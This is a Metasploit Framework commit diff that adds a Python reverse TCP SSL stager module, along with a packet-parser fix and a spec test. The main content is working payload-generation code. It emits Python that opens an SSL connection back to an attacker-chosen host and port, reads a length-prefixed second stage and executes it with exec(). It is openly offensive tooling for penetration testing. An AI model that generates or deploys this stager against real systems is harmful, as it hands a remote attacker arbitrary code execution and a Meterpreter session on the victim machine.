Skip to content

Commit e139a1e

Browse files
committed
Land rapid7#7383: Rebase/Fix + SSL stager support for python
2 parents 7b84e96 + fabb296 commit e139a1e

File tree

4 files changed

+109
-1
lines changed

4 files changed

+109
-1
lines changed
Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/python/reverse_tcp'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Complex reverse_tcp_ssl payload generation for Python
11+
#
12+
###
13+
14+
module Payload::Python::ReverseTcpSsl
15+
16+
include Msf::Payload::Python
17+
include Msf::Payload::Python::ReverseTcp
18+
19+
#
20+
# Generate the first stage
21+
#
22+
def generate
23+
conf = {
24+
port: datastore['LPORT'],
25+
host: datastore['LHOST']
26+
}
27+
28+
generate_reverse_tcp_ssl(conf)
29+
end
30+
31+
#
32+
# By default, we don't want to send the UUID, but we'll send
33+
# for certain payloads if requested.
34+
#
35+
def include_send_uuid
36+
false
37+
end
38+
39+
def supports_ssl?
40+
true
41+
end
42+
43+
def generate_reverse_tcp_ssl(opts={})
44+
# Set up the socket
45+
cmd = "import ssl,socket,struct\n"
46+
cmd << "so=socket.socket(2,1)\n" # socket.AF_INET = 2
47+
cmd << "so.connect(('#{opts[:host]}',#{opts[:port]}))\n"
48+
cmd << "s=ssl.wrap_socket(so)\n"
49+
cmd << py_send_uuid if include_send_uuid
50+
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
51+
cmd << "d=s.recv(l)\n"
52+
cmd << "while len(d)<l:\n"
53+
cmd << "\td+=s.recv(l-len(d))\n"
54+
cmd << "exec(d,{'s':s})\n"
55+
56+
py_create_exec_stub(cmd)
57+
end
58+
59+
def handle_intermediate_stage(conn, payload)
60+
conn.put([payload.length].pack("N"))
61+
end
62+
63+
end
64+
65+
end
66+

lib/rex/post/meterpreter/packet_parser.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,8 @@ def recv(sock)
6262
# header size doesn't include the xor key, which is always tacked on the front
6363
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
6464
end
65-
elsif (self.payload_length_left > 0)
65+
end
66+
if (self.payload_length_left > 0)
6667
buf = sock.read(self.payload_length_left)
6768

6869
if (buf)
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'msf/core/handler/reverse_tcp_ssl'
8+
require 'msf/core/payload/python/reverse_tcp_ssl'
9+
10+
module MetasploitModule
11+
12+
CachedSize = 378
13+
14+
include Msf::Payload::Stager
15+
include Msf::Payload::Python::ReverseTcpSsl
16+
17+
def initialize(info = {})
18+
super(merge_info(info,
19+
'Name' => 'Python Reverse TCP SSL Stager',
20+
'Description' => 'Reverse Python connect back stager using SSL',
21+
'Author' => ['Ben Campbell', 'RageLtMan'],
22+
'License' => MSF_LICENSE,
23+
'Platform' => 'python',
24+
'Arch' => ARCH_PYTHON,
25+
'Handler' => Msf::Handler::ReverseTcpSsl,
26+
'Stager' => {'Payload' => ""}
27+
))
28+
end
29+
30+
end

spec/modules/payloads_spec.rb

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2284,6 +2284,17 @@
22842284
reference_name: 'python/meterpreter/reverse_tcp'
22852285
end
22862286

2287+
context 'python/meterpreter/reverse_tcp_ssl' do
2288+
it_should_behave_like 'payload cached size is consistent',
2289+
ancestor_reference_names: [
2290+
'stagers/python/reverse_tcp_ssl',
2291+
'stages/python/meterpreter'
2292+
],
2293+
dynamic_size: false,
2294+
modules_pathname: modules_pathname,
2295+
reference_name: 'python/meterpreter/reverse_tcp_ssl'
2296+
end
2297+
22872298
context 'python/meterpreter/reverse_tcp_uuid' do
22882299
it_should_behave_like 'payload cached size is consistent',
22892300
ancestor_reference_names: [

0 commit comments

Comments
 (0)